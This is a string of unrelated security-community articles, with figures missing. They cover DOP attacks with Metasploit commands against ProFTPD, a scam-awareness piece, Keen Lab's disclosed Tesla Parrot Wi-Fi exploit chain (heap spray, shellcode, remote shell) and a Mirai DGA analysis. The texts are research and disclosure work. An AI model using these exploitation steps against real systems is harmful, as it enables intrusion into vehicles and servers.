b02508baf8567e62f3c0fd14833c82fb24e8ba4f0dc84aeb7690d9ea83385baa
3d6eadf0f0b3fb7f996e6eb3d540945c2d736822df1a37dcd0e25371fa2d75a0
ac6c1df3895af63b864bb33bf30cb31059e247443ddb8f23517849362ec94f08
**相关IP地址：**
184[.]154[.]150[.]66
5[.]153[.]58[.]45
62[.]8[.]193[.]206 | 社区文章 |
# DOP（Data Oriented Programming）攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
围绕内存漏洞的攻防博弈已经持续了近三十年，控制流劫持攻击也越来越多的成为攻击者的常用手段。随着防护技术的发展，针对控制流的攻击变得愈发困难。而不通过劫持控制流，而是针对数据流来进行攻击的方式，如Non-control
data（非控制数据）攻击虽然显示出了其潜在的危害性，但目前对针对数据流的攻击还知之甚少，长久以来该攻击手段可实现的攻击目标一直被认为是有限的。实际上，非控制数据攻击可以是图灵完备的，这就是我将为大家介绍的攻击DOP攻击。
## 背景知识：Non-control data（非控制数据）攻击
控制流保护机制旨在保护目标程序控制流不被篡改，但是控制流转移指令（如 ret ,
jmp）往往不直接使用内存变量，这就意味着控制流保护机制（如CFI）往往无法将内存变量纳入保护。非控制数据攻击就利用了这一点，攻击者直接控制数据流来实施相应攻击。比如鼎鼎大名的的心脏出血（heartbleed）漏洞就是典型的非控制数据攻击。又比如下图代码：
如果攻击者能够控制pw_uid变量，就能够实现提权操作。
## DOP相关概念
DOP全称为 Data Oriented
Programming，是新加坡国立大学的胡宏等人于2016年提出来的一种针对数据流的非控制数据攻击方式，核心思想是用各种各样的内存行为来模拟相应操作。
正如前述所提到的那样，非控制数据攻击往往只能用来实现信息泄露（心脏出血）或者是提权，其本身不能实现复杂的操作。但DOP打破了这一成见，证明了非控制数据攻击本身就能实现图灵完备的攻击。
类似于ROP，DOP攻击的实现也依赖于gadgets。但二者有以下两点不同：
1. DOP的gadgets只能使用内存来传递操作的结果，而ROP的gadgets可以使用寄存器。
2. DOP的gadgets必须符合控制流图（CFG），不能发生非法的控制流转移，而且无需一个接一个的执行。而ROP的gadgets必须成链，顺序执行。
为了更好的说明DOP的gadgets特性，胡宏等人定义了如下语言MINDOP:
其展示了DOP的gadgets如何在受限制的语义下实现算术、逻辑、赋值、加载、存储、跳转、条件跳转等操作。正如前述所提到的，DOP的gadgets不能使用寄存器，所以DOP转而用内存来模拟寄存器（也就是上图中的*p等就对应了一个虚拟的寄存器）及各种操作。接下来将结合ProFTPD（一个开源的FTP服务器软件，也是之后实际进行攻击时的目标程序）源码来进行说明。
1.算术运算
1）加减法
用gadgets来模拟加减法是比较容易的，因为目标程序中存在大量的目标代码片段。比如如下代码：
通过该代码就能完成一次加法，减法同理。
2）乘法
乘法的模拟较为复杂，但是如果存在条件跳转，则乘法的模拟也可以完成。比如要完成a×b，可以将b进行比特位的分解，根据当前比特位来进行相应的跳转，同时在每一步都进行a的自加（可用左移位来实现）即可。简单来说就是用加法来实现乘法。
2.赋值
DOP中的赋值操作相当于是从内存某地值读取数据存储到另一地址中，比如如下代码：
就完成了一次赋值操作。
3.加载和存储
由于DOP不能使用寄存器，所以加载和存储操作都是通过指针解引用来模拟的。如以下代码：
其实现了加载操作。
又比如以下代码，其实现了存储操作：
4.跳转操作
跳转操作的实现需要依赖于一个内存错误（如栈溢出）的发生。关键就是要通过某处内存来模拟处一个虚拟的指令寄存器（pc），使得通过该内存来进行“跳转（并非真实跳转，只是转而执行某处代码）”。比如以下代码：
pubf ->
current指向了恶意输入的缓冲区。在每一次循环迭代中，代码从该缓冲区读取一行，然后在循环体中处理它，因此这个指针可以用来模拟虚拟PC指针。如果pbuf->current被控制，精心构造相应的值，那么buf处就会发生相应的改变，进而影响其相邻位置，最终使得函数参数cmd被控制，执行相应操作。
同ROP类似，DOP也需要有一个gadgets调度器（dispatcher）。DOP中的调度器指的是能够让攻击者重复的调用gadgets，并且让攻击者选择具体的调用哪一个gadget的指令序列。比较常见的就是带有一个选择器（selecor,
让攻击者选择具体的调用哪一个gadget,通常是一处内存错误发生点）。每次迭代将会使用前一次的迭代中使用的gadget输出，并且将本轮迭代使用的gadget的输出输入到下次迭代，同时选择器改变下次迭代的加载地址为本次迭代的存储地址。选择器由攻击者通过内存错误控制。如上图中第2-7行，它将循环的处理cmd请求，通过构造相应的cmd，就能引入相应的gadgets。
接下来以如下代码片段对各个模拟出的操作效果进行说明：
可以看到，该代码片段没有调用任何敏感的代码指针。其CFG图如下：
6、7行即为调度器,其中第7行为选择器。即使通过第7行的栈溢出进行覆盖，看起来似乎也并没有什么威胁。但是再考虑如下代码：
buf处的内存排布如图：
通过栈溢出可以将其变为：
假如p是list地址，q是addend地址，n是srv地址的话，就会执行如下操作：
而进行如下覆盖；
令m是STREAM字符串地址的话，就等效于：
如果再循环体中各自进行一次，最终效果等效于：
while(condition)
{
if(list==NULL) break:
srv=list;
list->prop+=addend;
list=list->next;
}
实际上就实现了通过控制数据流来“调用”updateList函数，但实际的控制流并未发生转移，因为并没有一个真正的函数被调用了，控制流仍处在循环体内。
至此，DOP的模型已经明确了，如下图所示：
内存错误将会激活调度器，在循环loop中通过控制选择器来选择执行相应的gadgets。
## DOP的准备工作
经过前述的说明，DOP的基本概念已经清晰，接下来要解决的就是以下几个问题：
1. 如何定位gadgets
2. 如何寻找调度器
3. gadgets的拼接
对于前两点来说，一个静态分析工具的实现是可能的。因为DOP的gadgets的特征是非常明确的，其必须符合MINDOP语义，而且必须是如下模式：
加载-其他操作-存储
而调度器也有明显特征。
为了避免对源码进行分析，可以把目标程序编译成LLVM IR形式，然后通过胡宏等人提供的工具DOP-StaticAssist（https://github.com/melynx/DOP-StaticAssist）进行gadget（包括调度器）的定位。
对于最后一点来说，暂时只能依靠直觉（胡宏等人的原话，瞬间玄学）来进行不断的尝试。
## DOP攻击的构造
DOP的准备工作已经完成，接下来就是具体攻击的构造。由以下几个步骤组成：
1. 从目标程序中定位发生内存错误的函数，然后寻找包含该函数的调度器，收集用于攻击的gadgets。
2. 以预期的恶意MINDOP操作作为模板，每个MINDOP操作可以通过相应的功能类别的任何gadgets来实现。可以根据优先级来进行选择。
3. 一旦我们得到了实现所需的功能的gadgets，接下来要做的就是验证每个拼接。构造输入到程序，触发内存错误，激活gadgets。如果攻击不成功，我们回滚到步骤2，选择不同的gadgets，并尝试再次拼接
## 攻击ProFTPD
为了直观的感受DOP攻击能够实现的目标，接下来将会对ProFTPD进行两种不同的攻击。该程序存在栈溢出漏洞（cve
2006-5815）。攻击时使用metasploit来进行，脚本可以在作者提供的虚拟机中查看（https://drive.google.com/file/d/0B_6p5h2gdgmoTV9ON0xYZWpMRTg/view）。要自己解决的问题只有一个：选择一个当前进程空间中的以0xb开头的可写地址，且内容不能为\0。所有攻击均在ASLR和DEP开启的情况下进行。
### 泄露密钥
该程序使用一个ssh密钥，DOP攻击可以泄露这个密钥。
开启ProFTPD服务：
可以看到，地址随机化已经开启。
进入msfconsole,输入如下命令：
use exploit/windows/ftp/proftp_sreplace_dop
set ftpuser ftptest
set ftppass ftptest
set rhost 127.0.0.1
然后进行如下操作：
此处0xb77430001即为上述所需地址。
密钥成功泄露：
实际密钥可以通过以下命令查看（字节逆序）：
可以看到，泄露出的确实是真实密钥。
### 修改代码段内容为int 3
启动目标程序
地址随机化已经开启，LD_PRELOAD用于给gdb传递信息。
进入msfconsole,输入如下命令：
use exploit/windows/ftp/proftp_sreplace_dlopen
set ftpuser ftptest
set ftppass ftptest
set rhost 127.0.0.1
将gdb附着（attach）到正在运行的进程：
设置follow-fork-mode为child(调试子进程，父进程不受影响)：
然后进行以下操作：
这里选用了另外一个地址0xb76a6001。
攻击完成：
查看当前代码段位置，已经被修改为int 3：
而目标程序相应位置处应为ret:
对目标程序代码段（不可写）的修改成功。 | 社区文章 |
# 揭秘 | 网络兼职诈骗传销模式的黑产运作，水深到你无法想象！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网络上各种招聘刷单、打字员、快递单录入员等的兼职广告极具诱惑性，虚假兼职类诈骗无疑是网络诈骗高发类型之一。据相关数据统计，2018年上半年，360手机先赔接到的网络诈骗案件举报数量中，虚假兼职类诈骗占比13.3%，涉案总金额高达145.4万元。
通过对虚假兼职类诈骗案件的安全运营发现，除了其涉案区域广、传播性强、危害性大等特征，诈骗手法和环节上也在不断的发生演变，最新的趋势就是利用语音软件作为渠道进行诈骗。
## 转发扩散，获取任务资格
内容简单、来钱快的工作谁都想做，但首先你要将刷单信息分享至你的QQ群、QQ好友、QQ空间来获取任务资格。同时要将每条宣传都截图以做证据，还要将自己QQ的消息列表一并截图，听起来好像很“合理”，赢得用户信任。
诈骗点分析：
QQ作为一种可信度相对较高的社交圈，通过QQ传播扩散，无形中会加强消息的可信度，诱导用户身边更多的人加入。这就能解释为什么许多QQ群里常见到兼职刷单广告！
## 进群先交费，支付方式有两种
普通会员费118元；钻石会员费198元，可以解锁更高额任务。会费支付方式有两种：微信面对面红包、支付宝口令红包。
诈骗点分析：
u 下载语音软件时，用户被要求填写邀请人。拉人头、收会费的模式是不是很眼熟？这个接待员在其中扮演什么角色？是否涉及传销分赃？引人深思。
u
陌生人之间无论是通过微信面对面红包，还是支付宝口令支付，都无法获知收款人的信息，用户一旦发觉被骗，支付的钱款也无法追回。骗子采用这种收费方式，其狡猾性可见一斑。
## 充值会员，获取任务App登录账号
充值成为会员后，会被移入任务接待室，会员彼此之间无法交流，接待员会提供任务App的下载方式和登录账号，且该任务App只能用于账号登录，无法注册。
诈骗点分析：
u 聊天室禁言，切断会员间交流的可能性，可以有效防止骗局被识破。
u 任务App只能登陆无法注册，根据360手机卫士监测的结果显示，该任务App存在一定风险，已置谨慎提示。
## 升级会员解锁高额任务，实际入局更深
聊天室会有还真人语音讲解如何操作，流程严格，讲解细致，让用户深信不疑。在赢得用户信任之后，讲解员会透露一些“规则”：“普通会员权限低，如果工作出现错误，普通会员要赔几十元或者几百元，但如果是钻石会员就不用赔钱，而且升级会员可以解锁高额任务，用户就可以接更高回报的任务。”
诈骗点分析：
即使用户充值升级为钻石会员，所谓的“高额任务”也基本上无法领取，部分领取了也远远达不到金币提现要求，而越陷越深。
## 升级会员再退费，连环圈套！
用户如果中途申请退费，需要再交钱升级为钻石会员才能一并退回，否则退费无门。然而即使你再升级会员也不会拿到退款，等待你的是连环的骗局和圈套。
虚假兼职类诈骗并非低级诈骗，而是流程严格的组织。组织内部分工明确，对内有专门的接待、培训师、技术人员；对外有外宣负责精准的吸引用户。诈骗团伙如何会跟地下洗钱通道或者境外的专业“水房”合作，将赃款迅速洗白。这也就解释了，为何兼职诈骗如此猖獗，但被骗的钱很难追回，打击起来也有难度。拉人头、收会费、层级计酬，兼职诈骗已有着传销式的运作模式和完善的产业链支撑。面对诱惑如何独善其身？卫士妹六字箴言保平安不破财：不轻信，不转账！ | 社区文章 |
# 在Tesla Model S上实现Wi-Fi协议栈漏洞的利用
##### 译文声明
本文是翻译文章，文章原作者 科恩实验室，文章来源：科恩实验室
原文地址：<https://mp.weixin.qq.com/s/rULdN3wVKyR3GlGBhunpoQ>
译文仅供参考，具体内容表达以及含义原文为准。
在过去的两年里，腾讯科恩实验室对特斯拉汽车的安全性进行了深入的研究并在Black Hat 2017与[Black Hat
2018](http://mp.weixin.qq.com/s?__biz=MzU1MjgwNzc4Ng==&mid=2247483807&idx=1&sn=98a5acfe7381036514eab777447ec547&chksm=fbfd3d9acc8ab48c063276b1c3c90b590b6070dcbb6155a61c0b43501c3a88d5ef085bb97626&scene=21#wechat_redirect)安全会议上两次公开分享了我们的研究成果。我们的研究成果覆盖了车载系统的多个组件。我们展示了如何攻入到特斯拉汽车的CID、IC、网关以及自动驾驶模块。这一过程利用了内核、浏览器、MCU固件、UDS协议及OTA更新过程中的多个漏洞。值得注意的是，最近我们在自动驾驶模块上做了一些有趣的工作。我们分析了自动雨刷和车道识别功能的具体实现细节并且在真实的世界中对其中的缺陷进行了攻击尝试。为了更深入的了解特斯拉车载系统的安全性，我们研究了无线功能模块（Model
S上的Parrot模块）并在其中找到了两个漏洞。一个存在于无线芯片固件当中，另一个存在于无线芯片驱动当中。通过组合这两个漏洞，攻击者可以在Parrot模块的Linux系统当中执行任意命令。
## 介绍
本文会揭示这两个漏洞的细节并介绍漏洞的利用过程来证明这两个漏洞是可以被攻击者用来通过无线协议远程攻入到特斯拉车载系统当中的。
## PARROT模块
Tesla Model
S上的Parrot模块是一个第三方模块，型号是FC6050W，它集成了无线及蓝牙功能。Parrot通过USB协议与CID相连。Parrot运行着Linux系统并使用了USB
Ethernet gadget，因此Parrot与CID在USB协议基础之上实现了以太网连接。当Tesla Model
S连接到无线网络时，实际上Parrot模块连接到该无线网络中。这时，网络流量被Parrot从CID路由到外部网络。从一份公开的资料[1]中，我们找到了Parrot模块的硬件组成。
Parrot模块的引脚定义也在这份datasheet中。Linux系统的shell可以通过Debug UART引脚得到。
其中的reset引脚连到到CID的GPIO上，因此CID有能力通过下列命令重置整个Parrot模块
echo 1 > /sys/class/gpio/gpio171/value
sleep 1
echo 0 > /sys/class/gpio/gpio171/value
## Marvell 无线芯片
Marvell
88W8688是一款低成本、低功耗、高度集成的支持IEEE802.11a/g/bMAC/基带/射频集无线和蓝牙于一体的基带/射频系统级芯片[2]。Marvell官方网站[3]提供了一份该芯片的设计框图。
Marvell 88W8688包含了一个嵌入式高性能Marvell Ferocean ARM9处理器。通过修改固件，我们获得了Main
ID寄存器中的数值0x11101556，据此推断88W8688使用的处理器型号可能是Feroceon 88FR101 rev
1。在Parrot模块上，Marvell 88w8688芯片通过SDIO接口与主机系统相连。
Marvell 88W8688的内存区域如下：
## 芯片固件
固件的下载过程包含两个阶段。首先是辅助固件“sd8688_helper.bin”的下载，然后是主固件“sd8688.bin”的下载。辅助固件负责下载主固件及验证主固件中每个数据块是否正确。主固件中包含了很多的数据块，每个块的结构定义如下。
struct fw_chunk {
int chunk_type;
int addr;
unsigned int length;
unsigned int crc32;
unsigned char [1];
} __packed;
88w8688固件的运行基于ThreadX实时操作系统，该实时操作系统多用于嵌入式设备。ThreadX的代码存在于ROM内存区域，因此固件“sd8688.bin”实际上作为ThreadX的应用运行。在特斯拉上，固件“sd8688.bin”的版本ID是“sd8688-B1,
RF868X, FP44, 13.44.1.p49”,本文的所有研究均基于此版本。
在逆向识别出所有的ThreadX API之后，各个任务的信息便可以得到。
同时，内存池的相关信息也可以得到。
## 日志及调试
芯片固件没有实现Data Abort、Prefetch
Abort、Undefine和SWI等CPU异常向量的处理过程。这意味着，固件崩溃后处理器会停止工作。我们不知道固件在哪里因何崩溃。
所以我们修改了固件，并自己实现了这些异常处理过程。这些处理过程会记录固件崩溃时的一些寄存器信息，包括通用寄存器，系统模式及中断模式下的状态寄存器和链接寄存器。通过这种方式，我们可以知道崩溃时系统模式或中断模式下的一些寄存器信息。
我们将这些寄存器信息写到末使用的内存区域，例如0x52100~0x5FFFF。这样，这些信息在芯片重置后仍然可以被读取。
在实现了undefine异常处理过程及修改一些指令为undefine指令后，我们可以在固件运行时获取或设置寄存器的内容。用这种方式，我们可以调试固件。
将新的固件下载到芯片中运行，可在内核驱动中发送命令HostCmd_CMD_SOFT_RESET到芯片。随后芯片会重置，新的固件会下载。
## 固件中的漏洞
88w8688芯片支持802.11e WMM (Wi-Fi Multimedia)协议。在这个协议中，STA会通过Action帧来发送ADDTS
request给其他设备。请求中包含有TSPEC信息。然后其他设备同样通过Action帧返回ADDTS response。下面是该Action帧的具体格式。
ADDTS的整个过程如下：当系统想要发送ADDTS请求时，内核驱动会发送HostCmd_CMD_WMM_ADDTS_REQ命令给芯片，然后芯片将ADDTS请求通过无线协议发送出去。当芯片收到ADDTS
response后，将该回复信息去掉Action帧头部复制到HostCmd_CMD_WMM_ADDTS_REQ结构体，作为ADDTS_REQ命令的结果在HostCmd_DS_COMMAND结构体中返回给内核驱动。内核驱动来实际处理ADDTS
response。
struct _HostCmd_DS_COMMAND
{
u16 Command;
u16 Size;
u16 SeqNum;
u16 Result;
union
{
HostCmd_DS_GET_HW_SPEC hwspec;
HostCmd_CMD_WMM_ADDTS_REQ;
…….
}
}
漏洞存在于将ADDTS
response复制到HostCmd_CMD_WMM_ADDTS_REQ结构体的过程中。函数wlan_handle_WMM_ADDTS_response在复制时，需要复制的长度为Action帧的长度减去4字节Action帧头部。如果Action帧只有头部且长度为3。那么复制时的长度会变为0xffffffff。这样，内存将会被完全破坏，导致稳定的崩溃。
## 驱动中的漏洞
在芯片与驱动之间，有三种数据包类型通过SDIO接口传递，MV_TYPE_DATA、 MV_TYPE_CMD和
MV_TYPE_EVENT。其定义可在源码中找到。
命令处理的过程大致如下。驱动接收到用户态程序如ck5050、wpa_supplicant发来的指令，在函数wlan_prepare_cmd()中初始化HostCmd_DS_COMMAND结构体，该函数的最后一个参数pdata_buf指向与命令有关的结构，函数wlan_process_cmdresp()负责处理芯片返回的结果并将相关信息复制到pdata_buf指向的结构中。
int
wlan_prepare_cmd(wlan_private * priv,
u16 cmd_no,
u16 cmd_action,
u16 wait_option, WLAN_OID cmd_oid, void *pdata_buf);
漏洞存在于函数wlan_process_cmdresp()处理HostCmd_CMD_GET_MEM的过程中。函数wlan_process_cmdresp()没有检查HostCmd_DS_COMMAND结构体中的成员size的大小是否合法。因此在把HostCmd_DS_COMMAND结构中的数据复制到其他位置时发生了内存溢出。
## 芯片内代码执行
很显然，固件中的漏洞是一个堆溢出。为了利用这个漏洞实现芯片内代码执行，我们需要知道memcpy()函数是怎样破坏内存的，以及芯片是怎样崩溃的，在哪里崩溃的。为了触发这个漏洞，action帧头部的长度应该小于4。同时我们需要在Action帧中提供正确的dialog
token，这意味着memcpy()接收的长度只能是0xffffffff。源地址是固定的，因为该内存块是从内存池pool_start_id_rmlmebuf分配的，并且这个内存池只有一个内存块。目的地址是从内存池pool_start_id_tx分配的，所以目的地址可能是四个地址中的某一个。
源地址及目的地址均位于RAM内存区域0xC0000000~0xC003FFFF，但是内存地址0xC0000000到0xCFFFFFFF都是合法的。结果就是，读或写下面这些内存区域会得到完全一样的效果。
因为内存区域0xC0000000到0xCFFFFFFF都是可读可写的，所以复制过程几乎不会碰到内存的边界。在复制了0x40000个字节后，整个内存可被看作是整体移位了，其中有些数据被覆盖并且丢失了。
88w8688中的CPU是单核的，所以复制过程中芯片不会崩溃直到有中断产生。因为这时内存已被破坏，在大多数情况下，芯片崩溃在中断过程中。
中断控制器给中断系统提供了一个接口。当一个中断产生时，固件可从寄存器中获取中断事件类型并调用相应的中断处理过程。
中断源有很多，所以漏洞触发后，芯片可能崩溃在多个位置。
一个可能性是中断0x15的处理过程中，函数0x26580被调用。0xC000CC08是一个链表指针，这个指针在漏洞触发后可能会被篡改。然而，对这个链表的操作很难给出获得代码执行的机会。
另一个崩溃位置在时钟中断的处理过程中。处理过程有时会进行线程的切换，这时其他任务会被唤醒，那么复制过程就会被暂停。然后芯片可能崩溃在其他任务恢复运行之后。在这种情况下，固件通常崩溃在函数0x4D75C中。
这个函数会读取一个指针0xC000D7DC，它指向结构TX_SEMAPHORE。触发漏洞后，我们可以覆盖这个指针，使其指向一个伪造的TX_SEMAPHORE结构。
typedef struct TX_SEMAPHORE_STRUCT
{
ULONG tx_semaphore_id;
CHAR_PTR tx_semaphore_name;
ULONG tx_semaphore_count;
struct TX_THREAD_STRUCT *tx_semaphore_suspension_list;
ULONG tx_semaphore_suspended_count;
struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_next;
struct TX_SEMAPHORE_STRUCT *tx_semaphore_created_previous;
} TX_SEMAPHORE;
如果伪造的TX_SEMAPHORE结构中的tx_semaphore_suspension_lis指针刚好指向伪造的TX_THREAD_STRUCT结构。那么当函数_tx_semaphore_put()更新TX_THREAD_STRUCT结构中的链表的时候，我们可以得到一次任意地址写的机会。
我们可以直接将“BL
os_semaphore_put”指令的下一条指令改成跳转指令来实现任意代码执行，因为ITCM内存区域是RWX的。困难在于我们需要同时在内存中堆喷两种结构TX_SEMAPHORE和TX_THREAD_STRUCT，并且还要确保指针
tx_semaphore_suspension_list 指向TX_THREAD_STRUCT结构。这些条件可以被满足，但是利用成功率会非常低。
我们主要关注第三个崩溃位置，在MCU中断的处理过程中。指向struct_interface 结构的指针g_interface_sdio会被覆盖。
struct struct_interface
{
int field_0;
struct struct_interface *next;
char *name_ptr;
int sdio_idx;
int fun_enable;
int funE;
int funF;
int funD;
int funA;
int funB; // 0x24
int funG;
int field_2C;
};
结构中函数指针funB会被使用。如果g_interface_sdio被篡改，那么就会直接实现代码执行。
这是当函数interface_call_funB()中的指令“BX R3”
在地址0x3CD4E执行时的一份寄存器日志信息。此时，g_interface_sdio被覆盖成了0xabcd1211。
函数interface_call_funB()在地址0x4E3D0处被MCU中断的处理过程使用。
当复制的源地址到达0xC0040000时，整个内存可被看作是做了一次偏移。当复制的源地址到达0xC0080000时，整个内存偏移了两次。每次偏移的距离如下。
0xC0016478-0xC000DC9B=0x87DD
0xC0016478-0xC000E49B=0x7FDD
0xC0016478-0xC000EC9B=0x77DD
0xC0016478-0xC000F49B=0x6FDD
在多数情况下，漏洞触发后再产生中断时，这样的内存偏移会发生3至5次。所以指针g_interface_sdio会被来自下列地址的数据所覆盖。
0xC000B818+0x87DD*1=0xC0013FF5
0xC000B818+0x87DD*2=0xC001C7D2
0xC000B818+0x87DD*3=0xC0024FAF
0xC000B818+0x87DD*4=0xC002D78C
…
0xC000B818+0x7FDD*1=0xC00137F5
0xC000B818+0x7FDD*2=0xC001B7D2
0xC000B818+0x7FDD*3=0xC00237AF
0xC000B818+0x7FDD*4=0xC004B700
…
0xC000B818+0x77DD*1=0xC0012FF5
0xC000B818+0x77DD*2=0xC001A7D2
0xC000B818+0x77DD*3=0xC0021FAF
0xC000B818+0x77DD*4=0xC002978C
…
0xC000B818+0x6FDD*1=0xC00127F5
0xC000B818+0x6FDD*2=0xC00197D2
0xC000B818+0x6FDD*3=0xC00207AF
0xC000B818+0x6FDD*4=0xC002778C
…
地址0xC0024FAF、 0xC00237AF和0xC0021FAF刚好位于一个巨大的DMA buffer
0xC0021F90~0xC0025790之中。这个DMA buffer用于存储无线芯片接收到的802.11数据帧。所以这个DMA
buffer可以用来堆喷伪造的指针。
为了堆喷伪造的指针，我们可以发送许多正常的802.11数据帧给芯片，其中填满了伪造的指针。DMA
buffer非常大，因此shellcode也可以直接放在数据帧中。为了提高利用的成功率，我们用了Egg Hunter在内存中查找真正的shellcode。
如果g_interface_sdio被成功的覆盖。Shellcode或egg
hunter会非常的接近0xC000B818。我们所使用的伪造指针是0x41954，因为在地址0x41954+0x24处有一个指针0xC000B991。这样，我们可以劫持$PC到0xC000B991。同时，指针0x41954可被作为正常的指令执行。
54 19 ADDS R4, R2, R5
04 00 MOVS R4, R0
用这种方法有25%的成功率获得代码执行。
## 攻击主机系统
内核驱动中的漏洞可通过由芯片发送命令数据包给主机系统来触发。命令HostCmd_CMD_GET_MEM通常由函数wlan_get_firmware_mem()发起。
这种情况下，pdata_buf指向的buffer由kmalloc()分配，所以这是一个内核堆溢出。在真实环境中函数wlan_get_firmware_mem()不会被用到，并且堆溢出的利用较复杂。
然而，一个被攻陷的芯片在返回某个命令的结果时可以更改命令ID。因此漏洞可以在许多命令的处理过程中被触发。这时，根据pdata_buf指向的位置，漏洞即可以是堆溢出也可以是栈溢出。我们找到了函数wlan_enable_11d()，它把局部变量enable的地址作为pdata_buf。因此我们可以触发一个栈溢出。
函数wlan_enable_11d()被wlan_11h_process_join()调用。显然HostCmd_CMD_802_11_SNMP_MIB会在与AP的连接过程中被使用。固件中的漏洞只能在Parrot已经加入AP后使用。为了触发wlan_enable_11d()中的栈溢出，芯片需要欺骗内核驱动芯片已经断开与AP的连接。接着，驱动会发起重连，在这个过程中HostCmd_CMD_802_11_SNMP_MIB会发送给芯片。于是，为了触发重连过程，芯片需要发送EVENT_DISASSOCIATED事件给驱动。
当在芯片中触发漏洞并获得代码执行之后芯片不能再正常工作。所以我们的shellcode需要自己处理重连过程中的一系列命令并返回相应的结果。在命令HostCmd_CMD_802_11_SNMP_MIB来到之前，唯一一个我们要构造返回结果的命令是HostCmd_CMD_802_11_SCAN。下面是断开连接到触发内核漏洞的整个过程。
SDIO接口上事件和命令数据包的发送可直接通过操作寄存器SDIO_CardStatus和SDIO_SQReadBaseAddress0来完成。SDIO接口上获得内核发来的数据可借助SDIO_SQWriteBaseAddress0寄存器。
## Linux系统中命令执行
Parrot的Linux内核2.6.36不支持NX，所以可以直接在栈上执行shellcode。同时结构HostCmd_DS_COMMAND中的size是u16类型，所以shellcode可以足够大来做许多事情。在触发栈溢出并控制$PC之后
，$R7刚好指向内核栈，所以可以很方便的执行shellcode。在shellcode中的函数run_linux_cmd调用了Usermode Helper
API来执行Linux命令。
## 远程获取shell
在漏洞触发后，芯片中的内存被完全破坏无法继续正常工作。同时内核栈已损坏，无法正常工作。为了让Parrot的无线功能可以重新正常工作，我们做了如下事情： 1
| 在向内核发送完payload之后，我们通过如下命令重置了芯片。在这之后，内核驱动会重新发现芯片然后重新下载固件。
*(unsigned int *)0x8000201c|=2;
*(unsigned int *)0x8000a514=0;
*(unsigned int *)0x80003034=1;
---|---
2 |
在shellcode的函数fun_ret()中调用内核函数rtnl_unlock()来解开rtnl_mutex锁。否则Linux的无线功能会无法正常功能，导致Parrot被CID重启。
3 |
在shellcode的函数fun_ret()中调用do_exit()来终止用户态进程wpa_supplicant并重新运行，这样就不需要修复内核栈。
4 | 杀掉进程ck5050并重新运行，否则稍后ck5050会因芯片重置而崩溃，导致Parrot被CID重启。
为了远程获取shell，我们强制让Parrot连入我们自己的AP并修改iptables规则。之后，便可通过23端口访问到Parrot的shell。
最终拿到shell的成功率在10%左右。
## 完整的利用过程
01.攻击者发送DEAUTH帧给附近的所有AP。02.当Tesla重连至AP时，攻击者可以嗅探到特斯拉的MAC地址。03.堆喷伪造的指针，然后发送Action帧来触发固件中的漏洞。04.函数memcpy()会一直工作直到有中断产生。05.在芯片内成功执行任意代码。06.第一阶段shellcode发送EVENT_DISASSOCIATED事件给驱动。07.第一阶段shellcode处理一系列命令并等待命令HostCmd_CMD_802_11_SNMP_MIB。08.第一阶段shellcode通过SDIO接口发送payload来触发内核栈溢出。09.第二阶段shellcode执行并调用call_usermodehelper()函数。10.成功执行Linux系统命令并尝试修复Parrot的无线功能11.攻击者搭建自己的AP热点及DHCP服务器。12.通过Linux命令强制Parrot加入攻击者建立的AP热点并修改iptables规则。13.攻击者可通过Parrot的23端口获得Parrot的shell。
演示视频
## 总结
在这篇文章中，我们展示了Marvell无线芯片固件及驱动中漏洞的具体细节，并演示了如何利用这两个漏洞仅通过发送无线数据包的形式远程在Parrot系统内部实现命令执行。
## 负责任的漏洞披露
本文所提到的两个漏洞已于2019年3月报告给Tesla，Tesla已经在2019.36.2版本中对该漏洞进行了修复。同时，Marvell也修复了该漏洞并针对该漏洞发布了安全公告[4]。漏洞研究报告的披露已事先与特斯拉沟通过，特斯拉对我们的发布知情。你可以通过下列链接来跟踪本文提到的漏洞。
1. <https://www.cnvd.org.cn/flaw/show/CNVD-2019-44105>
2. <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1040>
3. <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201911-1038>
4. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13581>
5. <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13582>
## 参考文献
[1]<https://fccid.io/RKXFC6050W/Users-Manual/user-manual-1707044>[2]<https://www.marvell.com/wireless/88w8688/>
[3]<https://www.marvell.com/wireless/assets/Marvell-88W8688-SoC.pdf>
[4]<https://www.marvell.com/documents/ioaj5dntk2ubykssa78s/> | 社区文章 |
# 【技术分享】Mirai变种中的DGA
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[360网络安全研究院](http://bobao.360.cn/member/contribute?uid=1404802522)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
那个导致美国断网的Mirai 又出现带DGA变种，内置了域名生成算法。
连续导致美国和德国断网事件的Mirai恶意软件，不仅感染并控制了越来越多的摄像头等联网设备，组成潜在威胁更大的僵尸网络，其自身还不断出现新的变种，近日360网络安全研究院全球首次确认了早先Mirai
7547端口传播样本中的DGA机制。
**概要**
两个星期前，360网络安全研究院发现2个新的感染载体（也即TCP端口7547和5555变种）被用来传播Mirai恶意软件。
<[A Few Observations of The New Mirai Variant on Port
7547](http://blog.netlab.360.com/a-few-observations-of-the-new-mirai-variant-on-port-7547/)>
研究院的Ye Genshen快速设置了一些蜜罐，并且很快取得收获：11月28日一天就捕获了11个样本。
迄今为止，我们的蜜罐已从6个托管服务器捕获了53个独立样本。
在分析其中一个新样本时，研究院的同事Qu
Wenji发现一些类似DGA的代码，并猜测变种中包含有DGA功能，这个猜测很快就从我们的沙箱数据中得到验证。详细的逆向工作显示，在通过TCP端口7547和5555分发的Mirai样本中确实存在DGA特征。本文中将介绍这些最新的发现，将我们找到的DGA的属性总结如下：
1\. 使用3个顶级域名：online/tech/support；
2\. L2域名固定长度12字符，每个字符从“a”到“z”中随机选择；
3\. 域名仅由月、日和硬编码的种子字符串确定；
4\. 每天只生成一个域名，因此最多存在365个 DGA域名；
5\. DGA域名仅在硬编码的C2域名无法解析时使用。
通过逆向获取的DGA知识，我们在程序中重新实现了DGA，并用它来预测所有365个可能的域名。当进一步确认这些域名的注册信息时，我们发现其中部分域名已经被MIRAI作者注册，列表如下：
图0, 已经被注册的DGA域名
值得一提的是，作者 [email protected]在更早时间已经注册了其他Mirai C2域名：
